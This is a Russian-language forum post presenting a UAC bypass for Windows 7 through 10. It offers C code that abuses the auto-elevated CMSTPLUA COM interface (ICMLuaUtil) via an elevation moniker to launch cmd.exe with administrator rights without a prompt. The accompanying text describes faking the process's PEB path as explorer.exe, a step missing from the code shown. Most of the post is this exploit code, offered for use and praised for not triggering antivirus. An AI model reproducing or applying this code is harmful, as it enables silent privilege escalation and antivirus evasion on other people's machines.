Обходим UAC на win7, win8, win8.1, win10

retty

road to the road
Участник

retty

road to the road
Участник
Не в сети
5 Авг 2019
78
19
  • retty

  • Cogitations poenam nemo patitur (лат.)
    Никто не несет наказания за мысли


    В данной статье я расскажу вам как обойти UAC на win7, win8, win8.1, win10
    Суть способа заключается в том, что мы подменяем путь к файлу у процесса на путь explorer и берём его токен (токен процесса explorer)
    P.S. У системных файлов есть свои токены которые позваляют запускаться от администратора без окна UAC, это доверенные приложения.

    Почему это работает? Винда проверяет путь к процессу используя его PEB, но так-как мы его подменили она видит C:\Windows\System32\explorer.exe
    и думает что наш процесс это explorer.exe давая ему права админа.

    Этот способ не требует реботы с реестром или файлами и потому не провацирует антивирус.
    Code:
    Код:
    typedef interface ICMLuaUtil ICMLuaUtil;
    
    typedef struct ICMLuaUtilVtbl {
    
        BEGIN_INTERFACE
    
            HRESULT(STDMETHODCALLTYPE *QueryInterface)(
                __RPC__in ICMLuaUtil * This,
                __RPC__in REFIID riid,
                _COM_Outptr_  void **ppvObject);
    
        ULONG(STDMETHODCALLTYPE *AddRef)(
            __RPC__in ICMLuaUtil * This);
    
        ULONG(STDMETHODCALLTYPE *Release)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *Method1)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *Method2)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *Method3)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *Method4)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *Method5)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *Method6)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *ShellExec)(
            __RPC__in ICMLuaUtil * This,
            _In_     LPCTSTR lpFile,
            _In_opt_ LPCTSTR lpParameters,
            _In_opt_ LPCTSTR lpDirectory,
            _In_     ULONG fMask,
            _In_     ULONG nShow
            );
    
        HRESULT(STDMETHODCALLTYPE *Method8)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *Method9)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *Method10)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *Method11)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *Method12)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *Method13)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *Method14)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *Method15)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *Method16)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *Method17)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *Method18)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *Method19)(
            __RPC__in ICMLuaUtil * This);
    
        HRESULT(STDMETHODCALLTYPE *Method20)(
            __RPC__in ICMLuaUtil * This);
    
        END_INTERFACE
    
    } *PICMLuaUtilVtbl;
    
    interface ICMLuaUtil
    {
        CONST_VTBL struct ICMLuaUtilVtbl *lpVtbl;
    };
    
    VOID Method41_Test()
    {
        HRESULT          r = E_FAIL;
        BOOL             bCond = FALSE;
        IID              xIID_ICMLuaUtil;
        CLSID            xCLSID_ICMLuaUtil;
        ICMLuaUtil      *CMLuaUtil = NULL;
    
        BIND_OPTS3       bop;
        WCHAR            szElevationMoniker[MAX_PATH];
    
        do {
    
            if (CLSIDFromString(T_CLSID_CMSTPLUA, &xCLSID_ICMLuaUtil) != NOERROR) {
                break;
            }
            if (IIDFromString(T_IID_ICMLuaUtil, &xIID_ICMLuaUtil) != S_OK) {
                break;
            }
    
            RtlSecureZeroMemory(szElevationMoniker, sizeof(szElevationMoniker));
    
            _strcpy(szElevationMoniker, L"Elevation:Administrator!new:");
            _strcat(szElevationMoniker, T_CLSID_CMSTPLUA);
    
            RtlSecureZeroMemory(&bop, sizeof(bop));
            bop.cbStruct = sizeof(bop);
            bop.dwClassContext = CLSCTX_LOCAL_SERVER;
    
            r = CoGetObject(szElevationMoniker, (BIND_OPTS *)&bop, &xIID_ICMLuaUtil, &CMLuaUtil);
            if (r != S_OK) {
                break;
            }
    
            r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, L"C:\\windows\\system32\\cmd.exe", NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW);
    
        } while (bCond);
    
        if (CMLuaUtil != NULL) {
            CMLuaUtil->lpVtbl->Release(CMLuaUtil);
        }
    
    }